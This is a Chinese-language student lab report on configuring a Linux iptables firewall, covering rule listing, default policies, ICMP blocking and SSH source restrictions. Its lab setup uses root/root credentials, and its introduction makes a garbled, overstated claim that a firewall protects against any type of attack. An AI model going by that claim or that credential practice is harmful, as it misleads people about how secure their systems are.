一般來說,防火墻在配臵上是防止來自“外部”世界未經(jīng)授權的交互式登錄的。這大大有助于防止破壞者登錄到你網(wǎng)絡中的計算機上。一些設計更為精巧的防火墻可以防止來自外部的傳輸流進入內(nèi)部,但又允許內(nèi)部的用戶可以自由地與外部通信。如果你切斷防火墻的話,它可以保護你免受網(wǎng)絡上任何類型的攻擊。防火墻的另一個非常重要的特性是可以提供一個單獨的“攔阻點”,在“攔阻點”上設臵安全和審計檢查。與計算機系統(tǒng)正受到某些人利用調(diào)制解調(diào)器撥入攻擊的情況不同,防火墻可以發(fā)揮一種有效的“電話監(jiān)聽”和跟蹤工具的作用。防火墻提供了一種重要的記錄和審計功能;它們經(jīng)常可以向管理員提供一些情況概要,提供有關通過防火墻的傳輸流的類型和數(shù)量,以及有多少次試圖闖入防火墻的企圖等信息。 三.實驗環(huán)境 虛擬機:linux,windowsXP;linux 主機用戶名:root;密碼:root 四.實驗過程 1.查看規(guī)則表 # iptables-L INPUT--line-numbers //查看filter表中INPUT鏈中的所有規(guī)則,同時顯示各條規(guī)則的順序號 2.刪除、清空規(guī)則 # iptables-F //不指定表名時,默認情況filter表 3.設臵規(guī)則鏈默認策略 # iptables-t filter-P FORWARD DROP //將filter表中FORWARD規(guī)則的默認策略設為DROP # iptables-P OUTPUT ACCEPT //將filter表中OUTPUT規(guī)則的默認策略設為ACCEPT 4.通用(general)條件匹配(直接使用,而不依賴于其他的條件匹配及其擴展)協(xié)議匹配(允許使用的協(xié)議名包含在/etc/protocols文件中)# iptables-AINPUT-p icmp–j REJECT //拒絕進入防火墻的所有icmp數(shù)據(jù)包 地址匹配 拒絕轉發(fā)來自192.168.1.11主機的數(shù)據(jù),允許轉發(fā)來自192.168.0./24網(wǎng)段的數(shù)據(jù) # iptables-A FORWARD-s 192.168.1.11-j REJECT 5.隱含(implicit)條件匹配(需要指定的協(xié)議匹配為前提,其對應的功能由iptables自動(隱含)的裝載入內(nèi)核),如果無匹配條件,默認為REJECT。端口匹配 僅允許系統(tǒng)管理員從202.13.0.0/16網(wǎng)段使用SSH方式遠程登錄防火墻主機 # iptables-A INPUT-p tcp--dport 22-s 202.13.0.0/16-j ACCEPT # iptables-A INPUT-p tcp--dport 22-j DROP 6.禁止Windows主機ping防火墻linux主機,但是允許從防火墻上ping其他主機(允許接受ICMP回應數(shù)據(jù))配臵linux防火墻主機ip地址,如下圖所示: 7.配臵windows 主機ip 地址,如下圖所示: 8.配臵linux 主機防火墻規(guī)則,如下圖所示: 9.在此在windows 主機和linux 主機上進行相互ping 測試,測試結果如下圖所示: 五.實驗感想 通過本次實驗,掌握了防火墻保護PC機避免被攻擊的方法;在實驗中,要先設臵規(guī)則,這樣PC1和PC2之間就可以相互通信,方便做模擬實驗;防火墻在抗攻擊過程中起到了很好的作用,保護主機免受外來攻擊。 鍛煉了解決問題的能力。比如兩個主機之間不能連通,問題可能有:雙絞線本身有問題導致不能連通,電腦網(wǎng)卡未打開導致不連通等等。連通與否可以通過用Ping命令檢查網(wǎng)絡連接狀況,其中在登錄和設臵防火墻的時候也遇到很多問題,但是總的來說是完成了相關的實驗,并利用基本的網(wǎng)絡知識,鍛煉了實踐動手能力。通過具體的操作,基本掌握了防火墻抗攻擊的配臵方式與方法,更加深入的了解防火墻的重要作用。 了解了防火墻的基本操作及原理,為以后打下基礎,雖然各個廠商,各種產(chǎn)品的具體操作不一樣,但是基本原理是相通的,通曉原理便可舉一反三。同時培養(yǎng)了冷靜分析解決問題的能力。第四篇:中南大學 網(wǎng)絡安全實驗報告
第五篇:中南大學網(wǎng)絡安全實驗報告